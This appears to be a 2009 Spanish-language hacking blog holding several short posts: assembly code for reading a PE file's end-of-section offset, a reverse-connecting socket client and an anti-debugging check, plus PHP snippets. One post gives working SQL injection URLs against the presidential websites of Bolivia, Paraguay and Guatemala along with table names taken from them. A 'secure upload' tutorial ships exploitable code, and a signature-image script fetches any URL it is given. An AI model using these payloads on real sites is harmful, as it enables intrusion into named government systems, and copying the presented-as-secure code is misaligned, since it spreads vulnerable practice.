Krackwar Creations

EOFEXTRACT - Funcion para extraer el EOF

2009-03-24T11:43:00.000-07:00

;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
;@                                     @
;@   EOFEXTRACT by krackwar            @
;@   krackwar@hotmail.com              @
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
include 'win32ax.inc'
.code
start:
stdcall EOFEXTRACT,"C:\archivo.exe"
xor ebx,ebx
mov ebx,eax
invoke GlobalAlloc,GPTR,4
push eax
invoke wsprintf,eax,"0x%x",ebx
pop eax
push eax
invoke MessageBox,0,eax,"EOF data",0
pop eax

invoke GlobalFree,eax
invoke ExitProcess,0
proc EOFEXTRACT,ruta
locals
  DireccionPE dd ?
  bUsados dd ?
  PE dd ?
  NumeroSecciones dd ?
  BeginLastSection   dd ?
  hFile   dd ?
  EOF dd ?
  tamAr   dd ?
  PointerToRawData dd ?
  IB      dd ?
  SizeOfRawData dd ?
endl
invoke  CreateFile, [ruta], GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0
mov [hFile], eax
invoke  GetFileSize, [hFile], 0
mov [tamAr], eax
invoke  GlobalAlloc, GPTR, eax
mov [IB], eax
invoke  ReadFile, [hFile], [IB], [tamAr], addr bUsados, 0
mov ebx ,[IB]
add ebx, 0x3c
mov eax,dword[ebx]
mov [DireccionPE] ,eax
xor ebx,ebx
mov ebx,[IB]
add ebx,eax
mov [PE],ebx
add ebx,0x6
xor edx,edx
mov dx,word[ebx]
mov [NumeroSecciones],edx
mov eax,$28
mov ebx,[NumeroSecciones]
dec ebx
mul ebx
xor edx,edx
mov edx,[DireccionPE]
add edx,$F8
add edx,eax
mov [BeginLastSection],edx
xor eax,eax
xor ebx,ebx
xor edx,edx
mov eax,[IB]
mov edx,[BeginLastSection]
add eax,edx
add eax,16
mov ebx,DWORD[eax]
mov [SizeOfRawData],ebx
add eax,4
xor ebx,ebx
mov ebx,DWORD[eax]
mov [PointerToRawData],ebx
xor ebx,ebx
xor eax,eax
mov  edx, [PointerToRawData]
mov ebx,[SizeOfRawData]
add ebx,edx
mov [EOF],ebx
mov eax,[EOF]
ret
endp

.end start

Bug SQL Inyection en distintas paginas de presidencias

2009-02-16T22:00:00.000-08:00

Presidencia de bolivia:

http://www.presidencia.gob.bo/prensa/Noticias.asp?id=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=%27VIEW1%27))


Algunas tablas que saque:

1.tblFotos
2.tblnoticias
3.tblAudio
4.dtproperties
5.sysconstraints
6.syssegments
7.VIEW1



Presidencia de paraguay:

http://www.presidencia.gov.py/detalle.asp?codigo=convert(int,(@@Version))

Presidencia de guatemala:

http://www.guatemala.gob.gt/noticia.php?codigo=2074+and+1=0&tipo=1

Upload seguro.

2009-01-26T19:26:00.000-08:00

Hola, ahora posteare una forma segura de hascer un upload para archivos para que no alla que preocuparse con nada que suban.

-Primero:

Creamos una carpeta de nombre "Descargas" (sin comillas).

Segundo:

en la carpeta Descargas crearemos un .htaccess que contendra:

Order Deny,Allow
Deny from all
Allow from localhost

Tercero:

Volveremos a la carpeta anterior ( la que contiene la subcarpeta "Descargas" )
y creamos el php que subira los archivos , en mi caso sera upload.php y dentro de este le copiamos el siguiente code:

<?php
if($_POST){
copy($HTTP_POST_FILES['archivo']['tmp_name'], "./Descargas/".$HTTP_POST_FILES['archivo']['name']);
echo "Archivo subido correctamente";
echo "<br>";
echo "Link de descarga : www.nuestrapagina.com/Download.php?link=".$HTTP_POST_FILES['archivo']['name'];
}else{
$MIPATH = getcwd();
$NOMBRE = str_replace($MIPATH."/", "", __FILE__);
echo "<form action='".$NOMBRE."' method='post' enctype='multipart/form-data' name=&#161;form1'>";

echo "<p align='center'>Archivo:";
echo "<input name='archivo' type='file' id='archivo'>";
echo "</p>";
echo "<p align='center'><input name='boton' type='submit' id='boton' value='Enviar'></p>";
echo "</form>";
}
?>

Cuarto:

Creamos el archivo "Download.php" y pegamos el siguiente codigo:

<?php
$doc=$_GET["link"];
$MIPATH = getcwd();

if ($doc != NULL ) {
$trozos = explode("../", $doc);
if ($trozos[0] == $doc) {
if (file_exists($MIPATH."/Descargas/".$doc)) {
header('Content-Type:application/octet-stream');

header('Content-Disposition:attachment; filename="'.$doc.'"');

readfile($MIPATH."/Descargas/".$doc);
} else {
echo strip_tags("El archivo $doc no existe o no se encuentra en la carpeta de descargas.");
}
} else {
echo "Detectado LFI.";
}
} else {
echo "No se a ingresado archivo para descargar";
}

?>

Recopilacion manuales sobre el lenguaje ensamblador.

2009-01-23T10:23:00.000-08:00

Programacion Avanzada en lenguaje ensamblador.

Formato: PDF

Opcion via web: Ver

EL UNIVERSO DIGITAL DEL IBM PC, AT Y PS/2

Formato: HTML

documentation for 8086 assembler and emulator(en ingles )

Formato: HTML

Server - Pequeño ejemplo de server conexion inversa "Messaageboxea" todos lo recivido [ASM]

2009-01-23T09:05:00.000-08:00

;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
;!Autor: Krackwar !
;!Lenguaje: ASM !
;!Descripcion: Pequeño ejemplo de un server !
;! en este ejempplo todos los datos recividos!
;! son mostrados en un mensaje. !
;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
include 'win32ax.inc'
.data
Rev dd ?
Socket dd ?
.code
start:
invoke GlobalAlloc,GPTR,1024h
mov ebx,eax
invoke WSAStartup,200,eax
invoke socket,AF_INET,SOCK_STREAM,0 ;Creamos el socket
mov [Socket],eax ;Guardamos el handle en [Socket]
mov word[ebx],2
invoke htons,1234 ;El puerto
mov word[ebx],2
mov word[ebx+2], AX
invoke gethostbyname,'127.0.0.1' ;La ip
add eax,32
invoke inet_addr,eax
mov dword[ebx+4],eax

.BucleConectar: ;Bucle para conectarse
invoke connect,[Socket],ebx,16
cmp eax, 0xFFFFFFFF
JE .BucleConectar

.BucleRecivir: ;Bucle para recivir
invoke GlobalAlloc,GPTR,1024h
push eax
invoke recv,[Socket],eax,1023h,0
mov [Rev],eax
pop eax
cmp [Rev], 0
jng revisar

invoke MessageBox,0,eax,0,0
revisar:
cmp [Rev], 0
jne start.BucleRecivir

.reiniciar:
stdcall dword[closesocket],[Socket]
stdcall dword[WSACleanup]
jmp start
.end start

[SRC] IsDbgCrss - Funcion para saber si estamos siendo 'debuggeados' [ASM]

2009-01-22T17:47:00.000-08:00

; Funcion traducida por krackwar
; basada en la funcion de karcrack en Visual Basic
; Para detectar si estamos siendo ejecutados en el olly dbg 2.0 (Testeado en vista de 64 bits )
format pe gui
include 'win32a.inc'
call IsDbgCsrss
cmp eax,TRUE
je Verdad
push 0
call @f
db 'No lo estamos siendo :P',0
@@:
call @f
db 'No no estan debuggeando muahaha',0
@@:
invoke MessageBox,0
invoke ExitProcess,0
Verdad:
push 0
call @f
db 'Tamos siendo debuggeados',0
@@:
call @f
db 'O sierot lo tamos siendo :O',0
@@:
invoke MessageBox,0
invoke ExitProcess,0
IsDbgCsrss:
invoke CsrGetProcessId
invoke OpenProcess,PROCESS_ALL_ACCESS, 0,eax
cmp eax,0
je .Falso
mov eax,TRUE
jmp .Salir
.Falso:
mov eax,FALSE
jmp .Salir
.Salir:
ret

data import
library kernel32,'kernel32.dll',user32,'user32.dll',ntdll,'ntdll.dll'

include 'api/kernel32.inc'
include 'api/user32.inc'
import ntdll,CsrGetProcessId,'CsrGetProcessId'
end data

SMF First Post Extractor - Extractor de el ultimo post en un SMF y lo convierte a PNG[PHP]

2009-01-22T14:13:00.000-08:00

Saca el ultimo post posteado en un SMF y lo convierte en un png ( perfecto para ponerlo en la firma ) .

Uso:
Archivo.php?Pag=Http://foro.pagina.com

Código en PHP:

<?php
$Pagina = $_GET['Pag'];

$pizza = file_get_contents($Pagina."/SSI.php?ssi_function=recentPosts");
$trozos = explode("#new", $pizza);
$trozos2 = explode("</a>", $trozos[1]);
$trozos3 = explode(">",$trozos2[0]);

header("Content-type: image/png");
$im =imagecreate(1000, 30);
$fondo = imagecolorallocate($im,0, 0, 0);
$fondo = imagecolortransparent($im,0);
$texto = imagecolorallocate($im,0, 0, 255);

imagestring($im, 12, 20, 5, $trozos3[1], $texto);
imagepng($im);
?>